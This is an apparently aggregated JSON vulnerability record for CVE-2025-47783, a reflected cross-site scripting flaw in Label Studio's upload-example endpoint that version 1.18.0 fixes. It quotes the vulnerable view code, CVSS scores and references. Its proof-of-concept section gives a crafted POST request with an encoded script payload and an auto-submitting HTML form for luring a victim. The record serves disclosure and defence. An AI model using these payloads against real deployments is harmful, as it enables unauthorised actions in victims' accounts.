{"id":"CVE-2025-47783","aliases":["CVE-2025-47783","GHSA-8jhr-wpcm-hh4h","PYSEC-2025-124"],"related":[],"kind":"vulnerability","state":"published","title":"label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.","summary":"Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. Version 1.18.0 contains a patch for the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. Version 1.18.0 contains a patch for the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.\n\n### Details\nThe vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`.\n```python\n39: @require_http_methods(['POST'])\n40: def upload_example_using_config(request):\n41:     \"\"\"Generate upload data example by config only\"\"\"\n42:     config = request.POST.get('label_config', '')\n43: \n44:     org_pk = get_organization_from_request(request)\n45:     secure_mode = False\n46:     if org_pk is not None:\n47:         org = generics.get_object_or_404(Organization, pk=org_pk)\n48:         secure_mode = org.secure_mode\n49: \n50:     try:\n51:         Project.validate_label_config(config)\n52:         task_data, _, _ = get_sample_task(config, secure_mode)\n53:         task_data = playground_replacements(request, task_data)\n54:     except (ValueError, ValidationError, lxml.etree.Error):\n55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)\n56:     else:\n57:         response = HttpResponse(json.dumps(task_data))\n58:     return response\n```\nThe vulnerability is specifically located in line 57, where HttpResponse is used.\n```python\n57:         response = HttpResponse(json.dumps(task_data))\n```\n### PoC\nSend the following request after changing the `{host}` to your own.\n```css\nPOST /projects/upload-example/ HTTP/1.1\nHost: {host}\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\n\nlabel_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e\n```\nOr you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.\n```html\n<html>\n  <body>\n    <form action=\"http://{domain}/projects/upload-example/\" method=\"POST\">\n      <input type=\"hidden\" name=\"label&#95;config\" value=\"&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n```\n### Impact\n- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Label Studio es una herramienta de etiquetado y anotación de datos multitipo. Una vulnerabilidad en versiones anteriores a la 1.18.0 permite a un atacante inyectar un script malicioso en el contexto de una página web, lo que puede provocar robo de datos, secuestro de sesión, acciones no autorizadas por parte del usuario y otros ataques. La vulnerabilidad se reproduce al enviar una solicitud con el formato correcto al endpoint `POST /projects/upload-example/`. En el código fuente, la vulnerabilidad se encuentra en `label_studio/projects/views.py`. La versión 1.18.0 contiene un parche para este problema.","source":"nvd"}],"published":"2025-05-14T23:01:17.213Z","modified":"2026-06-17T09:28:41.070Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","score":7.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","score":7.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 1.18.0","status":"affected"}],"vendor":"HumanSignal","product":"label-studio","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.18.0"}],"ecosystem":"PyPI","package":"label-studio","purl":"pkg:pypi/label-studio","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.18.0"}],"vendor":"humansignal","product":"label_studio","cpe":"cpe:2.3:a:humansignal:label_studio:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.18.0"}],"ecosystem":"PyPI","package":"label-studio","purl":"pkg:pypi/label-studio","source":"pysec"}],"references":[{"url":"https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47783","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/HumanSignal/label-studio","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2025-124.yaml","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2025-05-15T15:30:36.464Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-47783","url":"https://www.cve.org/CVERecord?id=CVE-2025-47783","licence":"CVE Terms of Use","modified":"2025-05-15T15:32:26.174Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8jhr-wpcm-hh4h","url":"https://github.com/advisories/GHSA-8jhr-wpcm-hh4h","licence":"CC-BY-4.0","modified":"2026-06-06T00:45:42.688Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-47783","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47783","licence":"Public domain","modified":"2026-06-17T09:28:41.070Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2025-124","url":"https://osv.dev/vulnerability/PYSEC-2025-124","licence":"CC-BY-4.0","modified":"2026-05-20T09:19:03.900Z"}],"updatedAt":"2026-11-25T22:58:58.072Z","epss":{"score":0.00607,"percentile":0.50406,"date":"2026-12-01T12:00:22.000Z"}}